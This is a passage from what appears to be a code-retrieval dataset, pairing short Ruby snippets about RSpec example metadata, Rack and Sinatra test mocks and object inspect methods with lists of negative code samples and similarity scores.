"def inspect\n variables = instance_variables.reject { |v| v == :@password }.map { |v| \" #{v}=#{instance_variable_get(v)}\" }\n\n ::Kernel.instance_method(:to_s).bind(self).call.sub('>', \"#{variables.join(',')}>\")\n end",
"def inspect\n ary = []\n for iv in instance_variables\n case (iv = iv.to_s)\n when \"@signal_status\"\n ary.push format(\"%s=:%s\", iv, @signal_status.id2name)\n when \"@context\"\n ary.push format(\"%s=%s\", iv, eval(iv).__to_s__)\n else\n ary.push format(\"%s=%s\", iv, eval(iv))\n end\n end\n format(\"#<%s: %s>\", self.class, ary.join(\", \"))\n end",
"def inspect\n # Concise to not dump too much information on the dev\n \"#<#{self.class.name}>\"\n end",
"def inspect\n \"#<#{self.class.inspect} @name=#{name.inspect}>\"\n end",
"def print_basic_info\n \"Name:#{name}, Occupation:#{occupation}, Sex:#{sex}\"\n end",
"def print\n Kernel.print(self)\n end",
"def print_class\n\n puts \"* #{name.capitalize} *\".colorize(:light_green).bold.indent(10)\n puts\n puts short_description.to_s.colorize(:green).indent(10)\n puts\n stats.each_pair do |name, value|\n print \"| \".colorize(:green).indent(10)\n print \" #{name.capitalize} :\".colorize(:light_green)\n print \" #{value}\"\n print \" |\".colorize(:green)\n end\n puts\n puts\n\n end",
"def instance_variables\n get_instance_variables.to_a.collect{ |n| \"#{n}\".to_sym }\n end",
"def inspect\n \"#{self.name}, #{self.email}, #{self.age}\"\n end",
"def print()\n printf \"\\nAuthor ID: %d affiliation: %s affiliation short: %s country: %s\\n\", self.article_author_id, self.name, self.short_name, self.country\n printf \"\\nAddress: %s, %s, %s, %s, %s\\n\", self.add_01, self.add_02, self.add_03,self.add_04, self.add_05\n end",
"def print_properties\n orientdb.print_class_properties self\n end",
"def to_s\n self.methods.each { |m| puts self.m }\n end",
"def instance_variables() end",
"def to_s\n return super() + \", [Name=#{@VAR_NAME}]\"\n end",
"def class_variables; end",
"def inspect() \n print @obj_name\n print \" which is \"\n print @obj_attr\n print \" & \"\n puts @obj_secondattr\n end",
"def inspect\n s = ''\n @props.each do |key,val|\n s << sprintf(\"%-20.20s : %-40.40s\\n\", key.to_s, val.inspect)\n end\n s\n end",
"def dump() end",
"def inspect\n Thread.current[:formatador] ||= Formatador.new\n data = \"#{Thread.current[:formatador].indentation}<#{self.class.name}\"\n Thread.current[:formatador].indent do\n unless self.instance_variables.empty?\n vars = self.instance_variables.clone\n vars.delete(:@client)\n data << \" \"\n data << vars.map { |v| \"#{v}=#{instance_variable_get(v.to_s).inspect}\" }.join(\", \")\n end\n end\n data << \" >\"\n data\n end",
"def inspect\n Thread.current[:formatador] ||= Formatador.new\n data = \"#{Thread.current[:formatador].indentation}<#{self.class.name}\"\n Thread.current[:formatador].indent do\n unless self.instance_variables.empty?\n vars = self.instance_variables.clone\n vars.delete(:@client)\n data << \"\\n\"\n data << vars.map { |v| \"#{v}=#{instance_variable_get(v.to_s).inspect}\" }.join(\",\\n#{Thread.current[:formatador].indentation}\")\n end\n end\n data << \"\\n#{Thread.current[:formatador].indentation}>\"\n data\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n \"#<#{self.class} @attributes=#{@attributes.inspect}>\"\n end",
"def printA\n \"Show instance variable: #{@a}\"\n end",
"def pretty_print_me\n sio = PP.pp(self, \"\")\n\n # aber bitte ohne die ids und ohne @\n sio.gsub(/0x[^\\s]*/,'').gsub(/@/,'')\n end",
"def inspect\n Thread.current[:formatador] ||= Formatador.new\n data = \"#{Thread.current[:formatador].indentation}<#{self.class.name}\"\n Thread.current[:formatador].indent do\n unless self.instance_variables.empty?\n vars = self.instance_variables.clone\n vars.delete(:@client)\n vars.delete(:@page)\n data << \" \"\n data << vars.map { |v| \"#{v}=#{instance_variable_get(v.to_s).inspect}\" }.join(\", \")\n end\n end\n data << \" >\"\n data\n end",
"def display #or name it to_s #puts searches for this when you call method\n\t\t\"(#{@x}, #{@y})\" #makes it look nicer when setting it to string when calling initialize method\n\tend",
"def debug_str(inspect_method = :inspect)\n \"Current Date: #{self.input_date.readable}\\nCurrent Time: #{self.input_time.readable}\\n\\nQuery: #{self.query}\\nStandardized Query: #{self.nlp_query}\\nQuery changed in: #{self.nlp_query.changed_in.inspect}\\n\\nConstructs Found: #{s = \"\\n\"; self.construct_finder.constructs.each{|x| s << x.send(inspect_method) + \"\\n\"}; s}\\n\\n@construct_interpreter: #{self.construct_interpreter.send(inspect_method)}\"\n end",
"def to_s\n puts \"Character Name: #{@name}\"\n puts \"Character Race: #{@race}\"\n puts \"Character Hit Points: #{@hit_points}\"\n print \"Character Weapons: \"\n for weapon in @weapons\n print weapon\n print \" , \"\n end\n puts \"\"\n puts \"Character Gold: #{@gold}\"\n print \"Character Clothing: \"\n for cloth in @clothing\n print cloth\n print \" , \"\n end\n puts \"\"\n end",
"def dump\n @@fields.each { |field| @contents[field] = send(field) } \n @contents\n end",
"def inspect\n \"#<#{self.class.name} @name=#{@name}>\"\n end",
"def print\n puts to_s\n end",
"def inspect\n \"#<#{self.class.name}: #{to_s}>\"\n end",
"def inspect\n \"#<#{self.class.name}: #{to_s}>\"\n end",
"def inspect\n \"#<#{self.class.inspect} @args=#{args.inspect}\"\n end",
"def instance_variables; end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect\n end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end",
"def inspect; end"
] |
[
"0.7952636",
"0.7952636",
"0.7754524",
"0.7328215",
"0.7098594",
"0.7098594",
"0.70246565",
"0.69472104",
"0.6943911",
"0.6943911",
"0.6905842",
"0.6860079",
"0.68441546",
"0.6813354",
"0.6758529",
"0.6753069",
"0.66753906",
"0.66298187",
"0.6579821",
"0.65565854",
"0.65565854",
"0.65387195",
"0.6536167",
"0.651886",
"0.651443",
"0.64638704",
"0.64585763",
"0.6455855",
"0.6441667",
"0.6434491",
"0.6434184",
"0.642301",
"0.64227945",
"0.6405806",
"0.63942236",
"0.6388604",
"0.63877195",
"0.63732636",
"0.63712543",
"0.63628286",
"0.6360489",
"0.63475156",
"0.63274634",
"0.6325791",
"0.6324259",
"0.63063365",
"0.63063365",
"0.6303825",
"0.63034207",
"0.6303148",
"0.6297417",
"0.6294945",
"0.6287932",
"0.62863845",
"0.6284628",
"0.627919",
"0.6270163",
"0.6270038",
"0.62657523",
"0.6261837",
"0.6258419",
"0.6257008",
"0.6257008",
"0.6257008",
"0.6257008",
"0.6257008",
"0.6257008",
"0.6257008",
"0.6257008",
"0.6257008",
"0.6257008",
"0.6257008",
"0.6257008",
"0.6257008",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073",
"0.62554073"
] |
0.0
|
-1
|
For the example flag its run metadata to true
|
def flag_example!
example.metadata[:run] = true
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def has_example?\n false\n end",
"def example_started(example)\n end",
"def rspec_example_metadata(cmd, stdout, stderr)\n return unless @example\n @example.metadata[:command] = cmd\n @example.metadata[:stdout] = stdout\n @example.metadata[:stderr] = stderr\n end",
"def example_passed(example)\n end",
"def metadata?\n true\n end",
"def setup\n true\n end",
"def run_examination\n true\n end",
"def metadata?\n true\n end",
"def pretend?; run_options[:pretend]; end",
"def is_example(options)\n\n # Add class-methods\n extend DataMapper::Is::Example::ClassMethods\n # Add instance-methods\n include DataMapper::Is::Example::InstanceMethods\n\n end",
"def example?\n @properties.key?(:example) && !@properties[:example].empty?\n end",
"def example(text)\n Runner.instance.add_example text\n end",
"def use_sample_data?\n\t\t# for simplicity, turn it on if running in development\n\t\tdevelopment? || test?\n\tend",
"def xinclude_examples name, *args, **kwargs, &block\n xdescribe '(skipped)' do\n if kwargs.empty?\n include_examples name, *args, &block\n else\n include_examples name, *args, **kwargs, &block\n end # if-else\n end # describe\n end",
"def example_passed(example)\n create_example(example, :passing)\n end",
"def example(example) #:doc:\n return unless Apipie.active_dsl?\n Apipie.add_example(example)\n end",
"def example_started(example_proxy)\n end",
"def example\n @example ||= example_override\n end",
"def help(some, arg)\n say \"Bootic CLI v#{BooticCli::VERSION}\\n\\n\", :bold\n super\n\n examples if respond_to?(:examples)\n end",
"def eg(name = nil, &example)\n Exemplor.extract_example_file caller # only runs once\n return Exemplor::ExampleEnv if name.nil? && example.nil?\n if name.nil?\n file, line_number = caller.first.match(/^(.+):(\\d+)/).captures\n line = File.readlines(file)[line_number.to_i - 1].strip\n name = line[/^eg\\s*\\{\\s*(.+?)\\s*\\}$/,1] if name.nil?\n raise Exemplor::ExampleDefinitionError, \"example at #{caller.first} has no name so must be on one line\" if name.nil?\n end\n Exemplor.examples.add(name, &example)\nend",
"def test_marked\n end",
"def update!(**args)\n @examples = args[:examples] if args.key?(:examples)\n end",
"def example_pending(*args)\n end",
"def is_feature(test)\n test.metadata[:type].to_s == 'feature'\nend",
"def xit(description=:__generate_description, opts={}, &block)\n Kernel.warn(\"Example disabled: #{description}\")\n end",
"def program_name?\n \"runs\"\n end",
"def is_known?\n describe ? true : false\n end",
"def usage( examples, explanation = nil )\n puts \"Script #{@name} #{version} - Usage:\"\n (examples.respond_to?(:split) ? examples.split(\"\\n\") : examples).map {|line| puts \" #{@name} #{line}\"}\n puts explanation if explanation\n exit 1\n end",
"def flag(name,aliases,desc,long_desc,default_value,arg_name,must_match,type)\n abstract!\n end",
"def example_started(notification)\n reset_output\n end",
"def before_running(*args); end",
"def instrumentalists?\n true\n end",
"def flag(name,aliases,desc,long_desc,default_value,arg_name,must_match,type)\n invocations = ([name] + Array(aliases)).map { |_| add_dashes(_) }.join('|')\n usage = \"#{invocations} #{arg_name || 'arg'}\"\n @io.puts \"#{@nest}=== #{usage}\"\n @io.puts\n @io.puts String(desc).strip\n @io.puts\n @io.puts \"[Default Value] #{default_value || 'None'}\"\n @io.puts \"[Must Match] #{must_match.to_s}\" unless must_match.nil?\n @io.puts String(long_desc).strip\n @io.puts\n end",
"def _metadata_dataset\n super.with_convert_smallint_to_bool(false)\n end",
"def explain_true(task); end",
"def met? *args\n with(*args).process :dry_run => true, :top_level => true\n end",
"def setup?\n @setup\n end",
"def usage\r\n puts 'Usage: %s.rb' % NAME\r\n puts 'Script adds the snapshot column family to .META. table if it does not exist.'\r\n exit!\r\nend",
"def contains\n @examples + @steps\n end",
"def usage\n puts \"$ ruby #{__FILE__} PATH_TO_TRAINING_DATA_DIR\"\n exit\nend",
"def examples\n @examples ||= []\n end",
"def start(example_count)\n end",
"def start(example_count)\n end",
"def test_run_specific_directive\n with_fixture do\n out = capture_subprocess_io { system \"dotrun sample\" }\n assert !out.join.include?(\"default result\")\n assert_includes out.join, \"sample result\"\n end\n end",
"def run_all\n true\n end",
"def run_all\n true\n end",
"def run_all\n true\n end",
"def run_all\n true\n end",
"def profile_examples\n options[:profile_examples]\n end",
"def active\n !RSpec.configuration.dry_run\n end",
"def example_passed(example_proxy)\n end",
"def psql_db_batch_generator__sample_example\n [\n :psql_db_batch__cli_or_apply_dumps,\n psql_db__sample_example,\n db_dumps__sample_example,\n \"ON_ERROR_STOP=off\"\n ]\n end",
"def usage; end",
"def usage; end",
"def target; true; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def metadata; end",
"def flag _args\n \"flag _args;\" \n end",
"def run\n Raptor.formatter.context_started(@description)\n Raptor.depth += 1\n\n examples.each do |example|\n hooks[:before].each { |hook| example.instance_eval(&hook) }\n example.run\n hooks[:after].each { |hook| example.instance_eval(&hook) }\n end\n\n contexts.each { |context| context.run }\n Raptor.depth -= 1\n end",
"def external_metadata_file?\n false\n end",
"def with_example_arguments\n new_args = missing_required_arguments.each_with_object({}) do |arg, h|\n h[arg.name.to_sym] = arg.example if arg.example_defined?\n end\n with_arguments(**new_args)\n end",
"def run_succeeded; end",
"def profile_examples\n @options[:profile_examples]\n end",
"def flag; end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n \n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def test?\n RUBYMOTION_ENV == 'test'\n end",
"def start\n tempfile = ARGV.first\n system(\"#{MOCK_EXECUTABLE} #{tempfile} --start --example -y\")\n end",
"def show_summary!\n @runopts[:show_log] = false\n end",
"def setup()\n end",
"def describe\n \"#{decider} yes: #{@on_yes} no: #{@on_no}\"\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def setup\n end",
"def metadata?\n !!@metadata\n end"
] |
[
"0.6471989",
"0.64002866",
"0.6301712",
"0.60915303",
"0.59801346",
"0.5842643",
"0.58282197",
"0.58263654",
"0.57864195",
"0.5754388",
"0.5732268",
"0.5706813",
"0.5692208",
"0.5649717",
"0.5630308",
"0.5586831",
"0.55422276",
"0.5537149",
"0.551475",
"0.54888767",
"0.5488155",
"0.5482734",
"0.54790384",
"0.54718417",
"0.54393744",
"0.5419359",
"0.53995514",
"0.53983325",
"0.53404117",
"0.53286994",
"0.53188604",
"0.5318605",
"0.53171504",
"0.5305797",
"0.5301376",
"0.5294075",
"0.5269242",
"0.5240135",
"0.5238414",
"0.52310365",
"0.52303714",
"0.5230281",
"0.5230281",
"0.5228792",
"0.5226278",
"0.5226278",
"0.5226278",
"0.5226278",
"0.52262586",
"0.52251524",
"0.5218522",
"0.5217249",
"0.52146506",
"0.52146506",
"0.52091044",
"0.5208718",
"0.5208718",
"0.5208718",
"0.5208718",
"0.5208718",
"0.5208718",
"0.5208718",
"0.5202512",
"0.51965547",
"0.5196376",
"0.5191356",
"0.5178726",
"0.51711446",
"0.51693755",
"0.51642036",
"0.51642036",
"0.51642036",
"0.51642036",
"0.51642036",
"0.51642036",
"0.51642036",
"0.51629245",
"0.51629245",
"0.51629245",
"0.51629245",
"0.51629245",
"0.51629245",
"0.51585925",
"0.5154119",
"0.5150375",
"0.51481783",
"0.5142904",
"0.51422346",
"0.51422346",
"0.51422346",
"0.51422346",
"0.51422346",
"0.51422346",
"0.51422346",
"0.51422346",
"0.51422346",
"0.51422346",
"0.51422346",
"0.51422346",
"0.5141403"
] |
0.8983358
|
0
|
Mock Rack and Sinatra methods
|
def session
@session ||= {}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def setup\n @requester = Rack::MockRequest.new(SampleApp)\n end",
"def mock_app(base=Sinatra::Base, &block)\n @app = Sinatra.new(base, &block)\n end",
"def mock_app(base=Sinatra::Base, &block)\n @app = Sinatra.new(base, &block)\n end",
"def mock_app(base=Sinatra::Base, &block)\n @app = Sinatra.new(base, &block)\n end",
"def mock_app(base=Sinatra::Base, &block)\n @app = Sinatra.new(base, &block)\n end",
"def mock_app(options)\n builder = Rack::Builder.new\n builder.use Rack::YandexMetrika, options\n builder.run controller\n @app = builder.to_app\n end",
"def mock_app(base=Padrino::Application, &block)\n @app = Sinatra.new(base, &block)\n end",
"def mock_app(base=Padrino::Application, &block)\n @app = Sinatra.new(base, &block)\n end",
"def mock_app(base=Padrino::Application, &block)\n @app = Sinatra.new(base, &block)\n end",
"def mock_app(base=Padrino::Application, &block)\n @app = Sinatra.new(base, &block)\n end",
"def rackup(app); return @@rack.call(app); end",
"def app\n Sinatra::Application # It is must and tell rspec that test it running is for sinatra\nend",
"def run_app(app, env)\n setup_rack(app).call(env)\nend",
"def rack_standard(env)\n @req = Rack::Request.new(env)\n # puts \"here in standard rack handler\"\n @res = Rack::Response.new\n @res.write(\"Hey from a standard rack app\")\n @res.finish\n end",
"def mock_req\n Waxx::Req.new(ENV, {}, 'GET', \"/test/test/1\", {}, {}, {}, Time.new).freeze\n end",
"def call(env)\n @req = Rack::Request.new(env)\n @res = Rack::Response.new\n handle_request\n @res.finish\n end",
"def session\n Rack::Test::Session.new(Rack::MockSession.new(FULL_STACK_SYNERGY_APP))\nend",
"def request\n @request ||= Rack::MockRequest.new(mack_app)\n end",
"def call(env)\n @req = Rack::Request.new(env)\n @res = Rack::Response.new\n handle_request\n @res.finish\n end",
"def mock_request( params, response_body )\n mock_post = {}\n mock_post.expects(:set_form_data).with(params)\n #mock.expects(:[]=).with('user-agent', anything)\n\n url = Smsinabox.uri\n Net::HTTP::Post.expects(:new).with( url.path ).returns(mock_post)\n\n response = Net::HTTPSuccess.new('1.1', 200, 'OK')\n response.instance_variable_set :@body, response_body\n response.instance_variable_set :@read, true\n\n mock_http = Object.new\n mock_http.expects(:start).returns(response)\n\n Net::HTTP.expects(:new).with( url.host, url.port ).returns(mock_http)\nend",
"def app # def app is something that Rack::Test is looking for\n TaskManager\n end",
"def setup\n Sinatra::Base.set :environment, :test\n end",
"def setup_rack(app = nil)\n app ||= block if block_given?\n Rack::Builder.new do\n use SessionApp\n use Warden::Manager\n run app\n end\nend",
"def call(my_env_var)\n \t# This object represents the responses\n my_response_var = Rack::Response.new\n \n # This object represents the requests\n my_request_var = Rack::Request.new(my_env_var)\n \n # navigate to: \n # http://localhost:9292/index (or http://localhost:9292/indexyz1234) <=# this will actually work\n # ...in the VM machine's web browser\n if my_request_var.path.match(/index/)\n my_response_var.write \"The \\\"#{self.class.name}\\\" class is working just fine \\n\"\n my_response_var.write \"This little web app features a list of 3 simple items\\n\"\n my_response_var.write \"In order to see them, enter the following path in the URL:\\n\"\n my_response_var.write \"http://localhost:9292/items\"\n\n # navigate to: \n # http://localhost:9292/items (or http://localhost:9292/itemstuvwxyz) <=# this will actually work\n # ...in the VM machine's web browser\n elsif my_request_var.path.match(/items/)\n @@items.each do |item|\n my_response_var.write \"#{item}\\n\"\n end\n else \n # navigate to: \n # http://localhost:9292/something/else\n # ...in the VM machine's web browser\n my_response_var.write \"Path Not Found\"\n end \n my_response_var.finish\n end",
"def app # def app is something that Rack::Test is looking for\n FilmFile\n end",
"def initialize_request_and_response(env)\n @request = Rack::Request.new env\n @response = Rack::Response.new\n end",
"def rack_standard(env)\n [200, {\"Content-Type\" => \"text/plain\"}, [\"Hey from a standard rack app\"]]\n # Just another way to do the above, can get more request info, ...\n # @req = Rack::Request.new(env)\n # @res = Rack::Response.new\n # @res.write(\"Hey from a standard rack app\")\n # @res.finish\n end",
"def test_when_not_headers\n @middleware = Rack::Hard::Load.new(MockApp.new, :store => \"/tmp/static_copy_minitest\")\n assert_expected_response @middleware.call(@default_env), nil\n\n assert_expected_response @middleware.call(@default_env.merge({ 'PATH_INFO' => '/foo/bah.txt' })), nil\n end",
"def call(env)\n\trequest = Rack::Request.new(env)\n\tresponse = Rack::Response.new\n\tprocess(request, response)\n\t[response.status, response.headers, response.body]\n end",
"def new_stub_for method_name\n response = Response.new(Http::Request.new, Http::Response.new)\n response.request_type = method_name\n response.request_options = {}\n send(\"simulate_#{method_name}_response\", response)\n response.signal_success\n response\n end",
"def new_stub_for method_name\n response = Response.new(Http::Request.new, Http::Response.new)\n response.request_type = method_name\n response.request_options = {}\n send(\"simulate_#{method_name}_response\", response)\n response.signal_success\n response\n end",
"def response(app, dom='localhost', opts={})\n o = {}\n o[:domain] = dom unless dom.nil?\n app = Rack::Session::EncryptedCookie.new(app, o)\n Rack::MockRequest.new(app).get('/', opts.merge(lint: true))\n end",
"def request method = \"GET\", uri = \"\", opts = { }\n\n env = self.class.env_for(uri, opts.merge(:method => method))\n \n unless @cookies.nil? or @cookies.empty? or @cookies[env['SERVER_NAME']].nil? or @cookies[env['SERVER_NAME']].empty?\n env['HTTP_COOKIE'] = @cookies[env['SERVER_NAME']].map{ |k,v| \"#{ k }=#{ v }\" }.join('; ')\n end\n\n if opts[:lint]\n app = Rack::Lint.new(@app)\n else\n app = @app\n end \n\n errors = env[\"rack.errors\"]\n response = Rack::MockResponse.new(*(app.call(env) + [errors]))\n \n if response.original_headers['Set-Cookie']\n @cookies ||= {}\n @cookies[ env['SERVER_NAME'] ] ||= {}\n response.original_headers['Set-Cookie'].map{ |str| /(.*); path/.match(str)[1] }.each do |cookie|\n name, value = cookie.split('=').first, cookie.split('=')[1]\n @cookies[ env['SERVER_NAME'] ][ name ] = value\n end\n end\n\n response\n end",
"def process_request(uri, env)\n env['HTTP_COOKIE'] ||= cookie_jar.for(uri)\n @last_request = Rack::Request.new(env)\n status, headers, body = @app.call(env).to_a\n\n @last_response = MockResponse.new(status, headers, body, env['rack.errors'].flush)\n close_body(body)\n cookie_jar.merge(last_response.headers['set-cookie'], uri)\n @after_request.each(&:call)\n @last_response.finish\n\n yield @last_response if block_given?\n\n @last_response\n end",
"def _call(env)\n @env = env\n @req = Rack::Request.new(env)\n @res = Rack::Response.new\n @matched = false\n instance_eval(&@blk)\n @res.status = 404 unless @matched || !@res.empty?\n @res.finish\n end",
"def app\n\t\tSinatra::Application #where computer is finding all the tests?\n\tend",
"def _request(verb, uri, params={}, env={})\n send(\"rack_test_#{verb}\", uri, params, env)\n self.class.metadata[:session] = current_session\n\n response_data = begin\n JSON.load(last_response.body)\n rescue JSON::ParserError\n last_response.body\n end\n\n yield response_data if block_given?\n end",
"def rackup(path); end",
"def setup\n Capybara.app = Sinatra::Application.new\n end",
"def call(env)\n # Set the trace context (e.g. distributed tracing)\n if configuration[:distributed_tracing] && Tracing.active_trace.nil?\n original_trace = Tracing::Propagation::HTTP.extract(env)\n Tracing.continue_trace!(original_trace)\n end\n\n return @app.call(env) if Sinatra::Env.datadog_span(env)\n\n Tracing.trace(\n Ext::SPAN_REQUEST,\n service: configuration[:service_name],\n span_type: Tracing::Metadata::Ext::HTTP::TYPE_INBOUND\n ) do |span|\n begin\n # this is kept nil until we set a correct one (either in the route or with a fallback in the ensure below)\n # the nil signals that there's no good one yet and is also seen by profiler, when sampling the resource\n span.resource = nil\n\n Sinatra::Env.set_datadog_span(env, span)\n\n response = @app.call(env)\n ensure\n Contrib::Rack::HeaderTagging.tag_request_headers(span, env, configuration)\n\n span.set_tag(Tracing::Metadata::Ext::TAG_COMPONENT, Ext::TAG_COMPONENT)\n span.set_tag(Tracing::Metadata::Ext::TAG_OPERATION, Ext::TAG_OPERATION_REQUEST)\n\n request = ::Sinatra::Request.new(env)\n\n span.set_tag(Tracing::Metadata::Ext::HTTP::TAG_URL, request.path)\n span.set_tag(Tracing::Metadata::Ext::HTTP::TAG_METHOD, request.request_method)\n\n datadog_route = Sinatra::Env.route_path(env)\n\n span.set_tag(Ext::TAG_ROUTE_PATH, datadog_route) if datadog_route\n\n if request.script_name && !request.script_name.empty?\n span.set_tag(Ext::TAG_SCRIPT_NAME, request.script_name)\n end\n\n # If this app handled the request, then Contrib::Sinatra::Tracer OR Contrib::Sinatra::Base set the\n # resource; if no resource was set, let's use a fallback\n span.resource = env['REQUEST_METHOD'] if span.resource.nil?\n\n rack_request_span = env[Contrib::Rack::Ext::RACK_ENV_REQUEST_SPAN]\n\n # This propagates the Sinatra resource to the Rack span,\n # since the latter is unaware of what the resource might be\n # and would fallback to a generic resource name when unset\n rack_request_span.resource ||= span.resource if rack_request_span\n\n if response\n if (status = response[0])\n sinatra_response = ::Sinatra::Response.new([], status) # Build object to use status code helpers\n\n span.set_tag(Tracing::Metadata::Ext::HTTP::TAG_STATUS_CODE, sinatra_response.status)\n span.set_error(env['sinatra.error']) if sinatra_response.server_error?\n end\n\n if (headers = response[1])\n Contrib::Rack::HeaderTagging.tag_response_headers(span, headers, configuration)\n end\n end\n\n # Set analytics sample rate\n Contrib::Analytics.set_sample_rate(span, analytics_sample_rate) if analytics_enabled?\n\n # Measure service stats\n Contrib::Analytics.set_measured(span)\n end\n end\n end",
"def setup\n\t\tCapybara.app = Sinatra::Application.new\n\tend",
"def setup\n Capybara.app = Sinatra::Application.new\n end",
"def mock_app(&block)\n path = default_views_path\n @app = Renee::Core.new(&block).setup {\n views_path path\n }\n end",
"def stub_server_interface\n @handler.stubs(:accept_header ).returns \"format_one,format_two\"\n @handler.stubs(:content_type_header).returns \"text/yaml\"\n @handler.stubs(:set_content_type ).returns \"my_result\"\n @handler.stubs(:set_response ).returns \"my_result\"\n @handler.stubs(:path ).returns \"/my_handler/my_result\"\n @handler.stubs(:http_method ).returns(\"GET\")\n @handler.stubs(:params ).returns({})\n @handler.stubs(:content_type ).returns(\"text/plain\")\n end",
"def initialize_server(port)\r\n set :port, port # Specify Port For Sinatra Server\r\n set :bind, \"0.0.0.0\" # Allow Ping From External Devices\r\n set :environment, :production # Allow External Nodes To Query Websocket\r\n set :run, true # Start Sinatra Server\r\nend",
"def app\n @rack_app || fail(\"Missing @rack_app\")\n end",
"def call(env)\n\t\t\t\tbegin\n\t\t\t\t\tresponse = @app.call(env)\n\t\t\t\trescue Exception => ex\n\t\t\t\t\tnotify_riemann(ex, env)\n\t\t\t\t\traise ex\n\t\t\t\tend\n\n\t\t\t\t# The internal framework middlewares store exceptions inside the Rack\n\t\t\t\t# env. See: https://goo.gl/Kd694n\n\t\t\t\texception = env['action_dispatch.exception'] || env['sinatra.error']\n\t\t\t\tnotify_riemann(exception, env) if exception\n\n\t\t\t\tresponse\n\t\t\tend",
"def app\r\n Sinatra::Application\r\n end",
"def rack_builder; end",
"def call!(env)\n @env = env.dup\n status, @headers, response = @app.call(@env) \n if should_clean?\n @headers.delete('Content-Length')\n response = Rack::Response.new(\n tidy_markup(response.respond_to?(:body) ? response.body : response),\n status,\n @headers\n )\n response.finish\n response.to_a\n else\n [status, @headers, response]\n end\n end",
"def app \n Sinatra::Application \nend",
"def call(env)\n @request = Rack::Request.new(env)\n verb = @request.request_method\n requested_path = @request.path_info\n handler = @routes.fetch(verb, {}).fetch(requested_path, nil)\n\n if handler\n # give handler access to all of the methods, on the instance of Nancy::Base\n result = instance_eval(&handler)\n # If a handler returns a string, assume that it is a successful response, and so we construct a successful Rack response\n # otherwise, we return the result of the block as-is\n # [status, header, body]\n if result.class == String\n [200, {}, [result]]\n else\n result\n end\n else\n [404, {}, [\"Oops! No route for #{verb} #{requested_path}\"]]\n end\n end",
"def mas_net_http(response, obj_stubs = {})\n http = mock(Net::HTTP, obj_stubs)\n Net::HTTP.stub!(:new).and_return(http)\n http.stub!(:request).and_return(response)\n http.stub!(:start).and_yield(http)\n http.stub!(:use_ssl=)\n http.stub!(:verify_mode=)\n http\nend",
"def call(env)\n env[\"rack.errors\"] = StringIO.new # Send Rack errors nowhere fast!\n begin\n setup(env)\n begin\n route = Mack::Routes.retrieve(self.request)\n if route[:redirect_to]\n # because the route is specified to be a redirect, let's do that:\n redirect_to(route)\n else\n # set these in case we need them for handling errors:\n @original_controller = route[:controller]\n @original_action = route[:action]\n run_controller(route)\n end\n # return teardown\n rescue Exception => e\n # There was an exception, let's see if there's a handler for this error in routes:\n route = Mack::Routes.retrieve_from_error(e.class)\n unless route.nil?\n self.request.params[:original_controller] = @original_controller\n self.request.params[:original_action] = @original_action\n # There is a handler, let's try running that:\n run_controller(route, e)\n else\n # If we can't find the resource, or there's no route, let's check the public directory:\n case e\n when Mack::Errors::ResourceNotFound, Mack::Errors::UndefinedRoute\n return try_to_find_resource(env, e)\n else\n # Re-raise the exception\n raise e\n end\n end\n # return teardown\n end\n # Capture all the Exceptions for this call:\n rescue Exception => e\n Mack.logger.error e\n case e\n when Mack::Errors::ResourceNotFound, Mack::Errors::UndefinedRoute\n handle_error(404, 'Page Not Found!', e)\n # If it's any other type of exception render the 500.html page:\n else\n handle_error(500, 'Server Error!', e)\n end\n # return teardown\n ensure\n teardown\n end\n return self.response.finish\n end",
"def mock_env_for(url, opts={})\n env = Rack::MockRequest.env_for url, opts\n env.merge! env_extensions\n end",
"def app\n Sinatra::Application\n end",
"def app\n Sinatra::Application\n end",
"def valid_response\n Rack::Response.new('OK').finish\nend",
"def respond_with(status=200, headers={}, body=['Hello World'], &bk)\n @app = FakeApp.new(status, headers, body, bk)\n end",
"def test_request(method, path, params={})\n @params = indifferent_params(params)\n\n @request = Sinatra::Request.new(env)\n @request.path_info = path # sinatra 1.3.3\n\n @__protected_ivars = instance_variables + [\"@__protected_ivars\"]\n\n # routes are stored by uppercase method, but I wanted the test interface\n # to accept :get or 'get' as well as 'GET'\n test_request_internal self.class, method.to_s.upcase\n end",
